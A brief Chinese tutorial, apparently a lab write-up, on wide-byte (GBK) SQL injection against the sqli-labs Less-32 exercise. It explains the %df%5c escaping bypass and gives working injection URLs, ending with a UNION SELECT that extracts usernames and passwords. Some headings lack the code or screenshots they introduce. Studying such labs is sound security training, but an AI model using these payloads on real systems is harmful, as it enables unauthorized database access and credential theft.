原理
当mysql使用GBK编码时,可以运用GBK中文汉字占两个字符的特点,构造一个汉字来绕过转义符“\”。
"\"的十六进制为%5c,在"\"前加个"%df",“%df%5c”会被GBK编码为一个汉字。这样“\”就不会起作用了。
实例
首先判断闭合:
发现单引号被转义了
源码:
根据源码,了解题目对单引号,双引号,反斜杠进行了转义。
preg_replace()函数:对字符串进行替换 实例: $string = 'April 15, 2003'; $pattern = '/april/i'; //"i":不区分大小写 $replacement = 'May'; echo preg_replace($pattern, $replacement, $string); //May 15, 2003
构造方法:
http://sqli-labs:8989/Less-32/?id=1%df' --+
之后就是联合注入
http://sqli-labs:8989/Less-32/?id=1000%df' union select 1,(select group_concat(id,password,username) from users),3 --+